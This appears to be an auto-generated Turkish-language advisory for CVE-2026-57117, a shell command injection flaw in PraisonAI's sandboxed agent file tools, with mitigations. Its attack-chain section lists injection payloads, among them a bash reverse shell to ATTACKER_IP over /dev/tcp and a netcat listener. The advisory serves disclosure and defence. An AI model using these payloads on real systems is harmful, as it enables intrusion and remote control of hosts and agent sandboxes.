CWE-78 · CWE-863
PraisonAI is a multi-agent teams system. From version 4.6.10 to before version 4.6.59, LocalManagedAgent / SandboxedAgent compute bridging wraps read_file, list_files, and write_file when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers. An attacker who can influence a file-tool path argument can break out of the quoted path and execute arbitrary shell commands in the compute environment. With compute="local", commands execute through the local subprocess compute provider on the host. With Docker, commands execute in the container. This issue has been patched in version 4.6.59.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-57117
CVSS 8.8/10 · YÜKSEK · 23.10.2026
CWE: CWE-78, CWE-863
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 AÇIK NEDİR?
OS Command Injection
Açıklama: PraisonAI is a multi-agent teams system. From version 4.6.10 to before version 4.6.59, LocalManagedAgent / SandboxedAgent compute bridging wraps read_file, list_files, and write_file when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers.
⚡ SALDIRI ZİNCİRİ
Saldırı adımları:
1. Test: ; id veya | id ile komut çalıştırılıp çalıştırılmadığı kontrol edilir.
2. Blind: ; sleep 5 ile gecikme oluşturulur.
3. Reverse shell: ; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
4. Windows: & whoami / | dir C:\
5. Netcat listener: nc -lvnp 4444
🔧 Araçlar: commix, Metasploit, manual + netcat
🗺️ MITRE ATT&CK: T1059 (Command and Scripting Interpreter), T1190
🌍 GERÇEK DÜNYA ETKİSİ
Tüm gizli veriler okunabilir/çalınabilir; sistem verileri değiştirilebilir/silinebilir; hizmet tamamen devre dışı bırakılabilir.
🛡️ ÇÖZÜM VE MİTİGASYON
→ Üretici tarafından yayınlanan yamayı uygula.
→ Kullanıcı girdisini asla shell komutuna geçirme.
→ WAF kuralı ekle, anormal trafik için IDS alert oluştur.
⚠️ ACİLİYET
⚠️ Planlı bakım (2 hafta) — Yüksek seviye.
────────────────────────────────────────
[Kural Tabanlı Analiz] [💡 config.json dosyasına ai_key (Claude: sk-ant-... veya Groq: gsk_...) ekleyerek gerçek AI analizi kullanabilirsiniz]
[⚠️ AI key mevcut ancak istek başarısız — kural tabanlı analiz kullanıldı]